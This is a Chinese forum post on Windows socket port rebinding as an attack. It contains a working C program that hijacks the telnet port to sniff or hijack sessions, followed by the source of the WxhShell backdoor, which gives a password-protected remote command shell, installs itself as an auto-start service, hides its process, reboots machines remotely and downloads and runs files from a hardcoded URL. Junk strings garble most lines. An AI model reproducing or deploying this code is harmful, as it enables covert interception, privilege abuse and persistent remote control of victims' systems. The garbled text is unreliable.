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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: E .2b@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~y@,d  
H=2sT+Sp  
  saddr.sin_family = AF_INET; `Mj>t(  
Y](kMNUSg  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); B J,U,!  
di^E8egR$  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); j. 1@{H  
!1+yb.{\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 KjK.Sv{N  
~";GH20  
  这意味着什么?意味着可以进行如下的攻击: :G+8%pUX]  
fJ \bm  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 $]eU'!2)  
[T8BQn!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [ 0? *J<d  
<=m@Sg{o  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Kh{C$b  
G&P[n8Z$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !`j}%!K!  
~N{ 7  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 N%8O9Dp8;  
r`? bYoz  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5X2&hG*  
SJ/($3GkBd  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /yRP>CX~  
Y", :u@R  
  #include sxac( L  
  #include \F_~?$  
  #include U Ps7{We W  
  #include    RweK<Flo'S  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &p/ ^A[  
  int main() ][Ne;F6  
  { lFHj]%Y  
  WORD wVersionRequested; F(j vdq  
  DWORD ret; .Sz<%d7XIQ  
  WSADATA wsaData; zCOzBL/1q  
  BOOL val; g\%vkK&I  
  SOCKADDR_IN saddr; nP9zTa  
  SOCKADDR_IN scaddr; ,MH9e!  
  int err; NWK+.{s>m  
  SOCKET s; ]xO`c  
  SOCKET sc; ``l7|b jJ  
  int caddsize; |7 .WP;1  
  HANDLE mt; JA .J~3  
  DWORD tid;   8T3j/ D<r  
  wVersionRequested = MAKEWORD( 2, 2 ); 3vs;ZBM  
  err = WSAStartup( wVersionRequested, &wsaData ); tS1(.CRk  
  if ( err != 0 ) { 7#\\Ava$T  
  printf("error!WSAStartup failed!\n"); 51:NL[[6  
  return -1; rlQ4+~  
  } aTJs.y -I~  
  saddr.sin_family = AF_INET; @qC](5|TQ  
   ;xp^F KP  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 AOvn<Q  
9?4EM^ -  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  Fu@2gd  
  saddr.sin_port = htons(23); V\C$/8v  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y]dA<d?u  
  { lRIS&9vA3  
  printf("error!socket failed!\n"); )vO?d~x|  
  return -1; C_c*21X  
  } :%&~/@B  
  val = TRUE; u ##.t  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [QC|Kd^#  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) -b?yzg, 8  
  { vjfV??XSU  
  printf("error!setsockopt failed!\n"); 6gUcoDD  
  return -1; &y164xn'h  
  } RgF5w<Vd.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =#tQhg,_  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 w 0V=49  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 y$J M=f$  
hj~nLgpN  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =LP,+z  
  { )0RznFJ+X  
  ret=GetLastError(); X- xN<S q  
  printf("error!bind failed!\n"); JYE[ 1M  
  return -1; AD_aI %7  
  } v61'fQ1Qg!  
  listen(s,2); pA ,xDs@37  
  while(1) zOV.cI6fZz  
  {  >^<%9{  
  caddsize = sizeof(scaddr); 6jdNQC$#B  
  //接受连接请求 6xFvu7L_c;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?8{x/y:  
  if(sc!=INVALID_SOCKET) @vy {Q7aM  
  { 9DAk|K  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); F;I %9-R  
  if(mt==NULL) ynWF Y<VX  
  { ukZ>_ke`+  
  printf("Thread Creat Failed!\n"); G-vBJlt=t  
  break; ]<9KX} B  
  } (T0%oina  
  } Wmm'j&hI  
  CloseHandle(mt); w=ZSyT-i  
  } m^6& !`CD  
  closesocket(s); -Fl;;jeX  
  WSACleanup(); y@\R$`0J  
  return 0; 8&gr}r- 5  
  }   s]D&):  
  DWORD WINAPI ClientThread(LPVOID lpParam) -!p +^wC  
  { nPAVrDg O  
  SOCKET ss = (SOCKET)lpParam; g~>g])  
  SOCKET sc; #osP"~{  
  unsigned char buf[4096]; z2EZ0vZ  
  SOCKADDR_IN saddr; -d|Q|zF^x  
  long num; 3hN.`G-E  
  DWORD val; ^xBF$ua37)  
  DWORD ret; 7Nw} }  
  //如果是隐藏端口应用的话,可以在此处加一些判断 v>e%5[F  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   tC4:cX  
  saddr.sin_family = AF_INET; `^mPq?f  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 3bCb_Y  
  saddr.sin_port = htons(23); PNjZbOmzS  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }"V$li  
  { n0/H2>I[  
  printf("error!socket failed!\n"); =th(Hdk17  
  return -1; -AJ$-y  
  } 0`{3|g  
  val = 100; dKKh^D`~  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z9TUaMhF  
  { .Mn+Bd4f  
  ret = GetLastError(); eM3-S=R?<g  
  return -1; jbDap i<  
  } qHAZ)Tz  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }D/O cp~o  
  { ]8Eci^i  
  ret = GetLastError(); ZQ&A '(tt4  
  return -1; %syFHUBw  
  } M9 _G  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 9;fyC =  
  { 7W{xK'|]  
  printf("error!socket connect failed!\n"); ?0ezr[`.  
  closesocket(sc); Aqc Cb[1r  
  closesocket(ss); fmDn1N-bG  
  return -1; lur$?_gt  
  } m'L7K K-Y)  
  while(1) 'aq9]D_k  
  { $r>\y (W  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 lphELPh  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 u$3wdZ2&m  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6m=FWw3y  
  num = recv(ss,buf,4096,0); 6:(R/9!P  
  if(num>0) l'pu?TP{a  
  send(sc,buf,num,0); tHvc*D  
  else if(num==0) HQpw2bdy  
  break; u:6PAVW?  
  num = recv(sc,buf,4096,0); yMJY6$Ct  
  if(num>0) GzC=xXON  
  send(ss,buf,num,0); R(i2TAaaU  
  else if(num==0) )ZyEn%  
  break; c*5y8k  
  } ~If{`zWoC  
  closesocket(ss); IQ&o%   
  closesocket(sc); +c8cyx:^f  
  return 0 ; -T s8y  
  } rh8.kW-K_  
`u./2]n  
B@:11,.7  
========================================================== [RZ}9`V  
?8j#gYx2  
下边附上一个代码,,WXhSHELL zW,Nv>Ac5  
%(9BWO  
========================================================== 500qg({2]  
T:/68b*H\:  
#include "stdafx.h" 8Wa&&YTB  
_cWz9 ;  
#include <stdio.h> ~JU :a@)  
#include <string.h> :X?bWxOJ  
#include <windows.h> s+=JT+g  
#include <winsock2.h> <`'^rCWI?  
#include <winsvc.h> &#AK#`&)0i  
#include <urlmon.h> .7BB*!CP  
[P,/J$v^~  
#pragma comment (lib, "Ws2_32.lib") Ap{2*o  
#pragma comment (lib, "urlmon.lib") RpAtd^I  
P3due|4M  
#define MAX_USER   100 // 最大客户端连接数 MzF9 &{N  
#define BUF_SOCK   200 // sock buffer ;AFF7N>&  
#define KEY_BUFF   255 // 输入 buffer &$'=SL(Z  
LC!ZeW35  
#define REBOOT     0   // 重启 x vi&d1  
#define SHUTDOWN   1   // 关机 bIX'|=  
YivWvV  
#define DEF_PORT   5000 // 监听端口 JOR ? xCc  
*zf@J'  
#define REG_LEN     16   // 注册表键长度 BUuU#e5  
#define SVC_LEN     80   // NT服务名长度 _?5$ST@5  
2'R& K  
// 从dll定义API i$Rlb5RU  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); SO}$96  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H%K,2/Nj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @IB+@RmL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q}nL'KQ,n  
p6VHa$[  
// wxhshell配置信息 L5"|RI}  
struct WSCFG { 2EHeQ|#  
  int ws_port;         // 监听端口 oic}Go  
  char ws_passstr[REG_LEN]; // 口令 m4U7{sE  
  int ws_autoins;       // 安装标记, 1=yes 0=no D92#&,KD  
  char ws_regname[REG_LEN]; // 注册表键名 l c<&f  
  char ws_svcname[REG_LEN]; // 服务名 N|pyp*8Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =,*4:TU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }]qx "  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5`ma#_zk|f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xk1pZQ8c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?~mw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1I'ep\`"X  
tRqg')y  
}; 2n9E:tc  
HuX{8nl a  
// default Wxhshell configuration q{rc[ s?  
struct WSCFG wscfg={DEF_PORT, $] js0 )>  
    "xuhuanlingzhe", \X'{ ee  
    1,  IX|2yu4  
    "Wxhshell", ?\HXYCi0r  
    "Wxhshell", :&]THUw  
            "WxhShell Service", . PzlhTL7  
    "Wrsky Windows CmdShell Service",  2Z ? N  
    "Please Input Your Password: ", dM A"% R  
  1, VTDp9s  
  "http://www.wrsky.com/wxhshell.exe", 5UFR^\e  
  "Wxhshell.exe" $ }u,uI  
    }; /r4QDwu  
nFVQOr;  
// 消息定义模块 iNTw;ov  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %-Z0OzWe  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2 |fN*Wm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (HHVup1f  
char *msg_ws_ext="\n\rExit."; ;st$TVzkn  
char *msg_ws_end="\n\rQuit."; )xJo/{?  
char *msg_ws_boot="\n\rReboot..."; `.0QY<;  
char *msg_ws_poff="\n\rShutdown..."; WSdTP$?  
char *msg_ws_down="\n\rSave to "; AT#&`Ew  
94=aVM\>>  
char *msg_ws_err="\n\rErr!"; Z/z(P8#U\  
char *msg_ws_ok="\n\rOK!"; D@Zb|EI%<  
I|6wPV?  
char ExeFile[MAX_PATH]; }y-b<J ?H  
int nUser = 0; _&/FO{F@m  
HANDLE handles[MAX_USER]; va(ZGGS]N  
int OsIsNt; zU+` o?al  
^J DiI7  
SERVICE_STATUS       serviceStatus; k$V.hG|6M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (_}w4N#  
N Fc@Kz<H  
// 函数声明 :Fm{U0;"  
int Install(void); 5"f')MKUV9  
int Uninstall(void); 0G(T'Z1  
int DownloadFile(char *sURL, SOCKET wsh); );LkEXC_'  
int Boot(int flag); 1U"Fk3  
void HideProc(void); pGZ I697  
int GetOsVer(void); t~xp&LQiY  
int Wxhshell(SOCKET wsl); [:HT=LX3  
void TalkWithClient(void *cs); [!@&t:A  
int CmdShell(SOCKET sock); zc QFIP  
int StartFromService(void); NqsIMCl  
int StartWxhshell(LPSTR lpCmdLine); T)IH4UO  
bK)gB!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B}= WxG|)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y<|vcg8x  
X-F|&yE~<  
// 数据结构和表定义 C+ B`A9  
SERVICE_TABLE_ENTRY DispatchTable[] = &yKUf  
{ C~4$A/&(  
{wscfg.ws_svcname, NTServiceMain}, 0Ywqv)gg  
{NULL, NULL} !6t ()]  
}; /f!CX|U  
@"*8nV#  
// 自我安装 l \=M'D  
int Install(void) LB<,(dyh  
{ OzFA>FK0f;  
  char svExeFile[MAX_PATH]; WJG&`PP  
  HKEY key; L< MIl[z7  
  strcpy(svExeFile,ExeFile); EwSE;R -  
x,Im%!h  
// 如果是win9x系统,修改注册表设为自启动 M(,npW  
if(!OsIsNt) { *D: wwJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :les 3T}2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G)A5;u\P9  
  RegCloseKey(key); *QzoBpO<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I' URPj:t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -[kbHrl&  
  RegCloseKey(key); zOR  
  return 0; <r*A(}Y  
    } pN+lC[C  
  } /aepE~T  
} 90%alG 1>y  
else { )v!>U<eprD  
D`=hP( y^  
// 如果是NT以上系统,安装为系统服务 ,+0>p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9JHu{r"M  
if (schSCManager!=0) 6?U2Et  
{ ;c5Q"  
  SC_HANDLE schService = CreateService *KP 60T  
  ( 9aw- n*<  
  schSCManager, pKrol]cth8  
  wscfg.ws_svcname, O!!Ne'I  
  wscfg.ws_svcdisp, sjLI^#a  
  SERVICE_ALL_ACCESS, Vi~9[&.E\!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , em@\S  
  SERVICE_AUTO_START, kcd~`+C  
  SERVICE_ERROR_NORMAL, pZR KM<k  
  svExeFile, $ctY#:;pV{  
  NULL, ;J3az`  
  NULL, IrU}%ZVV  
  NULL, s)q;{wz  
  NULL, W&[}-E8<Y  
  NULL {`0GAW)q  
  ); Y-%S,91O  
  if (schService!=0) o@}+b}R}  
  { 'l$<DcBj  
  CloseServiceHandle(schService); Ak!l}d  
  CloseServiceHandle(schSCManager); A &i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z9rs,_A  
  strcat(svExeFile,wscfg.ws_svcname); hB#z8D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z6<vLc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {0fQ"))"  
  RegCloseKey(key); ,c:Fa)-  
  return 0; 0z g\thL  
    } Aj06"ep  
  } 28L3"c  
  CloseServiceHandle(schSCManager); PjEKZHHz  
} gIR{!'  
} Yt"&8N]  
L3 M]06y  
return 1; #NM .g  
} DCfV  
,*fvA?  
// 自我卸载 ]p(jL7  
int Uninstall(void) <tZPS`c'_  
{ 1MdVWFKXV  
  HKEY key; Hh=D:kE  
QE7 r{  
if(!OsIsNt) { dKcHj<'E/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p1 tfN$-  
  RegDeleteValue(key,wscfg.ws_regname); ^a@Vn\V1  
  RegCloseKey(key); X*Mw0;+T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rJJI<{$  
  RegDeleteValue(key,wscfg.ws_regname); dB7E&"f  
  RegCloseKey(key); ?^9TtxM  
  return 0; ``o:N`  
  } {5U;9: sO6  
} Do}mCv  
} S5ofe]tS@  
else { KOWxP47b  
9 |Iq&S  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); { U a19~'>  
if (schSCManager!=0) MjMPbGUX{  
{ K#g)t/SZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JcxhI]E  
  if (schService!=0) <,,U>0?3  
  { xq',pzN  
  if(DeleteService(schService)!=0) { -`6O(he  
  CloseServiceHandle(schService); <Tr_,Ya{9  
  CloseServiceHandle(schSCManager); 7~[1%`  
  return 0; 4 Yq|Z  
  } zzfwI@4  
  CloseServiceHandle(schService); f<ABs4w  
  } STp}?Cb  
  CloseServiceHandle(schSCManager); '\dau>  
} V)\|I8"  
} \HF h?3-g  
e[}R1/! L  
return 1; EAq/Yw2$  
} LV{a^!f`y  
 }5^j08  
// 从指定url下载文件 j'i-XIs  
int DownloadFile(char *sURL, SOCKET wsh) sbOa] 5]  
{ [#H$@g|CT  
  HRESULT hr; +x$;T*0  
char seps[]= "/"; HUurDgRi]  
char *token; @Nb&f<+gi  
char *file; { hUbK+dKZ  
char myURL[MAX_PATH]; OL*EY:]  
char myFILE[MAX_PATH]; fRJSo%  
s%`o  
strcpy(myURL,sURL); KLlo^1.<  
  token=strtok(myURL,seps); _$"qC[.  
  while(token!=NULL) 8%Zl;;W  
  { pDD0 QO  
    file=token; [vpZ3;  
  token=strtok(NULL,seps); zw^jIg$  
  } ^1U2&S  
V 0R;q  
GetCurrentDirectory(MAX_PATH,myFILE); 6sl*Ko[  
strcat(myFILE, "\\"); =vBxwa^  
strcat(myFILE, file); Kd CPt!  
  send(wsh,myFILE,strlen(myFILE),0); SE{$a3`UzP  
send(wsh,"...",3,0); pdsjX)O+f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~DcX}VCm  
  if(hr==S_OK) o<locZ  
return 0; UT$G?D";M  
else ,dKcxp~[  
return 1; 5nzk Zw  
)` S,vF~  
} GOHRBV  
JI5?, )-St  
// 系统电源模块 .Vq-<c%  
int Boot(int flag) XXacWdh \  
{ #X7fs5$&  
  HANDLE hToken; p_ =^E*J]  
  TOKEN_PRIVILEGES tkp; ptGM'  
;7&RmIXKh'  
  if(OsIsNt) { ~^=QBwDW8N  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lKEdpF<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9 8bmia&H  
    tkp.PrivilegeCount = 1; 5#+!|S[PK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5SFeJBS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0*W=u-|s6  
if(flag==REBOOT) { H-?SlVsf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a9}cpfG=)  
  return 0; ?G+v#?A  
} T>d-f=(9KH  
else { $I!vQbi  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cEO g  
  return 0; )El#Ks5u  
} axnkuP(  
  } 71nXROB  
  else { XX~~SvSM  
if(flag==REBOOT) { Lm"l*j4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %1a\"F![  
  return 0; hf>JW[>Xo  
} U$6N-q  
else { w<N [K>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) mZJ"e,AY  
  return 0; LnvC{#TFO  
} s$J0^8Q~i  
} L~SM#?z:ue  
HS]|s':  
return 1; ?n>h/[/  
} 5YMjvhr?W  
V[Fzh\2n  
// win9x进程隐藏模块 Xm*gH, '  
void HideProc(void) ~c,HE] B  
{ )P@t,mxW/  
|i7|QLUT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \kZxys!4  
  if ( hKernel != NULL ) Hn0 ,LH$/  
  { y^=\w?d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &V$_u#<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (}vi"mCeW  
    FreeLibrary(hKernel); )U e9:e  
  } > y"V%  
l~Hs]*jm  
return; 5`*S'W}\>  
} K+TRt"W8&s  
dGMBgj  
// 获取操作系统版本 ]$!-%pNv  
int GetOsVer(void) {LVii}<  
{ { :'#Ts<  
  OSVERSIONINFO winfo; `$SX%AZA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >7B6iR6N  
  GetVersionEx(&winfo); su>GeJiPW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :84fd\It4  
  return 1; o X )r4H?  
  else ?@6N EfQf  
  return 0; QNJ )HNLp  
} _C DUUr  
Ly/"da  
// 客户端句柄模块 nJY#d;  
int Wxhshell(SOCKET wsl) O8"kIDr-  
{ L+7L0LbNU  
  SOCKET wsh; ir-srVoXy  
  struct sockaddr_in client; (S* T{OgO  
  DWORD myID; -("sp  
!"j?dQ.U;  
  while(nUser<MAX_USER) '@i/?rNi%N  
{ rR&;2  
  int nSize=sizeof(client); p)RASIB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \-$wY%7  
  if(wsh==INVALID_SOCKET) return 1; s6%%/|  
5ycccMx0V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,IF3VE&r  
if(handles[nUser]==0) PsMoH/+"  
  closesocket(wsh); s"?Z jV)`  
else vdAaqM6D  
  nUser++; DXl3  
  } yt}Ve6  m  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !#` .Mv Z  
py VTA1  
  return 0; I9rWut@+  
} D/^yAfI  
ZH;VEX  
// 关闭 socket kL\ FY  
void CloseIt(SOCKET wsh) S*VG;m #  
{ [KMW *pA7  
closesocket(wsh); x;dyF_*;  
nUser--; ?8X;F"Ba  
ExitThread(0); .;)7)%  
} W0J d2*]  
A^nB!veh  
// 客户端请求句柄 SB0Cq  
void TalkWithClient(void *cs) S\b[Bq  
{ $!%/Kk4M  
o8;>E>;  
  SOCKET wsh=(SOCKET)cs; fT.18{'>  
  char pwd[SVC_LEN]; pyYm<dn  
  char cmd[KEY_BUFF]; ^0p y  
char chr[1]; dc.9:u*w  
int i,j; d,AEV_  
`w';}sQA7  
  while (nUser < MAX_USER) { w=H   
GcaLP*%>B  
if(wscfg.ws_passstr) { I},.U&r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #pO=\lJ,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `dekaRo  
  //ZeroMemory(pwd,KEY_BUFF); smaPZ^;; j  
      i=0; n4\UoKq  
  while(i<SVC_LEN) { y:u7*%"  
o.W:R Ux  
  // 设置超时 k=!lPIx  
  fd_set FdRead; s :ig;zb  
  struct timeval TimeOut; r0t4\d_&  
  FD_ZERO(&FdRead); ^=`7]E[p  
  FD_SET(wsh,&FdRead); OV/H&fe  
  TimeOut.tv_sec=8; x`~YTOfYk  
  TimeOut.tv_usec=0; ;]!QLO.bs^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sh;DCd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _W]R|kYl$'  
UtPFkase  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nX%b@cOXj  
  pwd=chr[0]; .UX`@Q:Gp  
  if(chr[0]==0xd || chr[0]==0xa) { =f0qih5.4  
  pwd=0; C'$w*^me  
  break; n Mm4fns  
  } 9MP_#M7  
  i++; 55Z)*JMv  
    } Nc;cb  
d1CQ;,Df<  
  // 如果是非法用户,关闭 socket -([ ipg(r  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~ +DPq|-O  
} %PA#x36  
c"D%c(:4|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E$l4v>iA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -wn ,7;  
^f6p w!  
while(1) { ov;1=M~RF  
"?9rJx$  
  ZeroMemory(cmd,KEY_BUFF); h [*/Tnr  
`%S 35x9  
      // 自动支持客户端 telnet标准   "y~tAg  
  j=0; fghw\\]3  
  while(j<KEY_BUFF) { )&/ecx"2Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]M3V]m  
  cmd[j]=chr[0]; $fifx>!  
  if(chr[0]==0xa || chr[0]==0xd) { PgOOFRwP  
  cmd[j]=0; >u?m Bx  
  break; +/O3L=QyJ  
  } RT C;Wj  
  j++; <c'0-=  
    } NJ]AxFG  
`>ppDQaS)W  
  // 下载文件 709/'#- ^  
  if(strstr(cmd,"http://")) { [}>!$::Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \dAs<${(  
  if(DownloadFile(cmd,wsh)) suOWmqLs  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )LC"rSNx%  
  else /=5:@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ya3k;j2C  
  } YMSZcI  
  else { ,J;Cb}  
@!'rsPrI  
    switch(cmd[0]) { CghlyT  
  w?#s)z4}g  
  // 帮助 Cb}I-GtO  
  case '?': { N!~O~ Eo3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  zSd!n  
    break; deLLqdZa  
  } w'uB&z4'  
  // 安装 +H{TV#+r  
  case 'i': { q4MR9ig1E_  
    if(Install()) ^(F@#zN}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 76oJCNY  
    else d#8 n<NM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j_3`J8WwF  
    break; hs^K9Jt  
    } XoNBq9Iu  
  // 卸载 IL>VH`D  
  case 'r': { wK]p`:3  
    if(Uninstall()) B,S~Idr}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bZ 0{wpeK=  
    else &9Kni/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -UB XWl  
    break; }INj~d<:  
    } TJ_Wze-lQ  
  // 显示 wxhshell 所在路径 ,A%p9  
  case 'p': { OLS/3c z  
    char svExeFile[MAX_PATH]; )L/0X40<.  
    strcpy(svExeFile,"\n\r"); ;kD UQw  
      strcat(svExeFile,ExeFile); &J?:wC=E  
        send(wsh,svExeFile,strlen(svExeFile),0); /hN;\Z[@  
    break; ]?G|:Kx$y%  
    } xmNs%  
  // 重启 `92P~Y~`W  
  case 'b': { Gf=3h4  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b(_f{R7PY  
    if(Boot(REBOOT)) x^zw1e,y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z% DJ{!Hnh  
    else { oRZ98?Y\B  
    closesocket(wsh); vnN 0o5  
    ExitThread(0); [KL-T16  
    } j-cp  
    break; KAJR.YNm  
    } 5 ) q_Aro  
  // 关机 l*.u rG  
  case 'd': { KCIya[$*  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); boq=@Qh  
